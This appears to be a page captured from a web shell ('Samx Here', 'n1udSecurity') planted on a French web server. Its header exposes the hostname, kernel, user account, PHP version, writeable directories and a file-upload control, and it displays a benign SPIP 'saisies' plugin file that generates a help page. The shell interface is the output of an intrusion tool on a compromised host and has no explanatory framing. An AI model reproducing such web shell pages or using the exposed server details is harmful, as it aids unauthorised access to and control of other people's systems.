Samx Here
n1udSecurity


Server : Apache
System : Linux ks5.tuic.fr 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64
User : pragmatice ( 1003)
PHP Version : 8.2.24
Disable Function : NONE
Directory :  /home/pragmatice/public_html/lesite/plugins/saisies/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/pragmatice/public_html/lesite/plugins/saisies/inc/saisies_aide.php
<?php

/**
 * Gestion de l'aide des saisies
 *
 * @package SPIP\Saisies\Aide
**/

// Sécurité
if (!defined('_ECRIRE_INC_VERSION')) {
	return;
}


/**
 * Génère une page d'aide listant toutes les saisies et leurs options
 *
 * Retourne le résultat du squelette `inclure/saisies_aide` auquel
 * on a transmis toutes les saisies connues.
 *
 * @return string Code HTML
 */
function saisies_generer_aide() {
	// On a déjà la liste par saisie
	$saisies = saisies_lister_disponibles('saisies',false);

	// On construit une liste par options
	$options = array();
	$options_dev = array();
	foreach (array
			('options_dev' => &$options_dev, 'options' => &$options)
			as $nom_type_options => &$type_options
	) {
		foreach ($saisies as $type_saisie => $saisie) {
			$options_saisie = saisies_lister_par_nom($saisie[$nom_type_options], false);
			if (isset($options_saisie['datas'])) {//Datas devient data
				$options_saisie['data'] = $options_saisie['datas'];
				unset($options_saisie['datas']);
			}
			foreach ($options_saisie as $nom => $option) {
				if (isset($option['options']['datas'])) {
					$option['options']['data'] = $option['options']['datas'];
					unset($option['options']['datas']);
				}
				// Si l'option n'existe pas encore
				if (!isset($type_options[$nom])) {
					$type_options[$nom] = _T_ou_typo($option['options']);
				}
				// On ajoute toujours par qui c'est utilisé
				$type_options[$nom]['utilisee_par'][] = $type_saisie;
			}
			ksort($options_saisie);
			$saisies[$type_saisie][$nom_type_options] = $options_saisie;
		}
		ksort($type_options);
	}
	return recuperer_fond(
		'inclure/saisies_aide',
		array(
			'saisies' => saisies_regrouper_disponibles_par_categories($saisies),
			'options' => $options,
			'options_dev' => $options_dev
		)
	);
}


SAMX